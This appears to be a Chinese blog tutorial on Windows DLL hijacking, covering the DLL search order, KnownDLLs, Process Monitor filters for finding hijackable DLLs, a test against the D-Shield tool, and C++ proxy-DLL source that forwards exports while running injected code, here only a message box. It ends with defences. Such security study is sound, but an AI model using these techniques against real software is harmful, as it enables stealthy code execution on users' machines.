在Windows系統中,爲了節省內存和實現代碼重用,微軟在Windows操做系統中實現了一種共享函數庫的方式。這就是DLL(Dynamic Link Library),即動態連接庫,這種庫包含了可由多個程序同時使用的代碼和數據。
每一個DLL都有一個入口函數(DLLMain),系統在特定環境下會調用DLLMain。在下面的事件發生時就會調用dll的入口函數:html
可是不少狀況下,開發人員都是使用了相對路徑來進行DLL的加載。那麼,在這種狀況下,Windows系統會按照特定的順序去搜索一些目錄,來肯定DLL的完整路徑。關於動態連接庫的搜索順序的更多詳細資料請參閱MSDN。根據MSDN文檔的約定,在使用了DLL的相對路徑
調用LoadLibrary函數時,系統會依次從下面幾個位置去查找所須要調用的DLL文件。ios
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode
微軟爲了更進一步的防護系統的DLL被劫持,將一些容易被劫持的系統DLL寫進了一個註冊表項中,那麼凡是此項下的DLL文件就會被禁止從EXE自身所在的目錄下調用,而只能從系統目錄即SYSTEM32目錄下調用。註冊表路徑以下:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
之前常用的一些劫持DLL已經被加入了KnownDLLs註冊表項,這就意味着使用諸如usp10.dll,lpk.dll,ws2_32.dll去進行DLL劫持已經失效了。
因此在win7及以上當啓用了SafeDllSearchMode搜索順序以下shell
在上述描述加載DLL的整個過程當中,DLL劫持漏洞就是在系統進行安裝「DLL路徑搜索目錄順序」搜索DLL的時候發生的。
不管安全DLL搜索模式是否開啓,系統老是首先會從應用程序(程序安裝目錄)所在目錄加載DLL,若是沒有找到就按照上面的順序依次進行搜索。那麼,利用這個特性,攻擊者就能夠僞造一個相同名稱的dll,只要這個dll不在KnownDLLs註冊表項中,咱們就能夠對該dll進行劫持測試。
鍵值
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
win10的以下
windows
有不少軟件能夠查看exe加載的dll
process-explorer
https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer
火絨劍
Process Monitor
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procmon
使用的時候能夠設置Filter,填入過濾條件,能夠幫助排除不少無用的信息安全
Include the following filters: Operation is CreateFile Operation is LoadImage Path contains .cpl Path contains .dll Path contains .drv Path contains .exe Path contains .ocx Path contains .scr Path contains .sys Exclude the following filters: Process Name is procmon.exe Process Name is Procmon64.exe Process Name is System Operation begins with IRP_MJ_ Operation begins with FASTIO_ Result is SUCCESS Path ends with pagefile.sys
相似下圖這種就是該dll在KnownDLLs註冊表項裏
函數
這裏用D盾進行劫持實驗
仍是先使用Process Explorer
能夠將這些dll文件與KnownDLLs註冊表項裏的dll進行比較,找出不在範圍內的dll進行劫持測試
固然這裏也有偷懶的方法,批量自動化測試
這裏ctrl+s能夠直接保存獲取的信息文本,而後再經過正則來提取路徑信息,再放到批量驗證工具裏
存在的話就會直接輸出結果
不存在就會顯示no
上面顯示存在兩個dll可能能夠劫持
這裏直接放一個彈計算器的dll改爲WINSTA.dll放到D盾目錄下,再運行D盾,成功彈出。
工具
可是這種方法只劫持了加載計算機的函數,原來dll還有不少其餘的導出函數,這樣直接劫持可能會致使程序沒法正常啓動。
因此通常會製做一個相同名稱,相同導出函數表的一個「假」DLL,並將每一個導出函數轉向到「真」DLL。將這個「假」DLL放到程序的目錄下,當程序調用DLL中的函數時就會首先加載「假」DLL,在「假」DLL中攻擊者已經加入了惡意代碼,這時這些惡意代碼就會被執行,以後,「假」DLL再將DLL調用流程轉向「真」DLL,以避免影響程序的正常執行。
這裏咱們製做一個彈窗的dll來進行測試,
1.首先使用VS2019新建一個DLL項目
2.在生成的dllmain.cpp下添加測試
void msg() { MessageBox(0, L"Dll-1 load succeed!", L"Good", 0); }
3.而後再在頭文件下的framework.h文件內添加下面代碼來編譯導出dll文件spa
#pragma once #define WIN32_LEAN_AND_MEAN // 從 Windows 頭文件中排除極少使用的內容 // Windows 頭文件 #include <windows.h> extern "C" __declspec(dllexport) void msg(void);
而後編譯生成Dll1.dll
再新建一個C++項目,填入以下代碼
操作系統
#include <iostream> #include <Windows.h> using namespace std; int main() { // 定義一個函數類DLLFUNC typedef void(*DLLFUNC)(void); DLLFUNC GetDllfunc = NULL; // 指定動態加載dll庫 HINSTANCE hinst = LoadLibrary(L"Dll1.dll");//要加載的DLL if (hinst != NULL) { // 獲取函數位置 GetDllfunc = (DLLFUNC)GetProcAddress(hinst, "msg");//函數名 } if (GetDllfunc != NULL) { //運行msg函數 (*GetDllfunc)(); } }
想了解dll編寫細節的能夠看這裏
再次生成解決方案,而後將以前生成的Dll1.dll放到生成的Meg.exe同目錄下,運行Meg.exe
成功彈窗
這裏咱們用以前轉發劫持dll的思路,來試驗一下
這裏我用腳本一鍵生成用來劫持的dll
這是默認生成的
# include "pch.h" # define EXTERNC extern "C" # define NAKED __declspec(naked) # define EXPORT EXTERNC __declspec(dllexport) # define ALCPP EXPORT NAKED # define ALSTD EXTERNC EXPORT NAKED void __stdcall # define ALCFAST EXTERNC EXPORT NAKED void __fastcall # define ALCDECL EXTERNC NAKED void __cdecl EXTERNC { FARPROC Hijack_msg; } namespace DLLHijacker { HMODULE m_hModule = NULL; DWORD m_dwReturn[17] = {0}; inline BOOL WINAPI Load() { TCHAR tzPath[MAX_PATH]; lstrcpy(tzPath, TEXT("Dll1")); m_hModule = LoadLibrary(tzPath); if (m_hModule == NULL) return FALSE; return (m_hModule != NULL); } FARPROC WINAPI GetAddress(PCSTR pszProcName) { FARPROC fpAddress; CHAR szProcName[16]; fpAddress = GetProcAddress(m_hModule, pszProcName); if (fpAddress == NULL) { if (HIWORD(pszProcName) == 0) { wsprintf((LPWSTR)szProcName, L"%d", pszProcName); pszProcName = szProcName; } ExitProcess(-2); } return fpAddress; } } using namespace DLLHijacker; VOID Hijack() //default open a calc.//添加本身的代碼 { } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { DisableThreadLibraryCalls(hModule); if(Load()) { Hijack_msg = GetAddress("msg"); Hijack(); } } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
在編譯生成新的dll前要注意在代碼這一行,將Dll1改成Dll2.dll
lstrcpy(tzPath, TEXT("Dll2.dll"));
而後在代碼這一行添加彈窗或者執行shellcode
VOID Hijack() //default open a calc. { MessageBoxW(NULL, L"DLL Hijack! by DLLHijacker", L":)", 0); }
而後編譯生成
再將咱們以前生成的Dll1.dll改成Dll2.dll,將兩個Dll和Meg.exe放在同一個目錄下
運行Meg.exe這時候應該會有兩個彈窗
能夠看到是先劫持DLL添加的彈窗,再彈出DLL本來的彈窗
通用免疫方案: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs]在此註冊表項下定義一個「已知DLL名稱」,那麼凡是此項下的DLL文件就會被禁止從EXE自身目錄下調用,而只能從系統目錄,也就是system32目錄下調用。據此能夠寫一個簡單的DLL劫持免疫器 或者能夠在加載dll是檢測MD5和大小,來防護.